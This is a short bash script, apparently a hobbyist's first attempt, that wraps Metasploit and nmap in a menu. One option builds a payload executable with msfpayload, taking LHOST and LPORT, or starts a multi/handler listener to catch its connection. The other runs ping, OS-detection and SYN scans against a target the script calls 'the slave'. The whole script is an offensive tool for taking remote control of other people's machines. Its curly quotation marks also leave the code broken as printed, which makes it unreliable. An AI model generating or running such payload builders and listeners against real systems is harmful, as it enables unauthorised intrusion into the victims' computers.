Motioncity13’s Option Menu

#!/bin/bash

function pause(){

   read -p “$*”

}

function listner () {

echo -n “Enter Payload: “

read pay

echo -n “Enter LHOST: “

read lh

echo -n “Enter LPORT: “

read lp

    echo -n “Create Payload (y/n)? “

read t1

if [ “$t1” = “y” ]; then {

    echo -n “Filename (*.exe): “

    read fil

    msfpayload $pay LHOST=$lh LPORT=$lp X > $fil

    }

else

msfcli exploit/multi/handler PAYLOAD=$pay LHOST=$lh LPORT=$lp E

fi

}

function nmp () {

echo -n “NMAP IP Address Scanner”

echo

echo “IP Address: “

read ip

echo

echo “First we are going to do a ping scan.”

sleep 2

nmap -sP $ip

pause ‘Press any key to continue…’

echo

echo “Next we are going to scan for the Operating System the slave is running on.”

sleep 2

nmap $ip -O

pause ‘Press any key to continue…’

echo

echo “Next we detect open ports on the target.”

sleep 2

nmap -sS $ip

echo

pause ‘Press any key to continue…’

clear

}

echo ”           Menu List”

echo ”          —————-“

echo “Motioncity13’s Option Menu (First Bash Code)” 

echo

echo “1) Metasploit Payload Generator and Listener”

echo “2) NMAP Scanner”

echo “3) Quit”

echo

while [ 1 ]

do

read op

case “$op” in

  “1” )

  #Call Metasploit Function

  listner 

  ;;

  “2” )

  #Call NMP Function

  nmp

  ;;

  “3” )

  echo

  exit 0

  ;;

* )

   echo

   echo “Wrong selection.”

  ;;

esac

done

#echo

#exit 0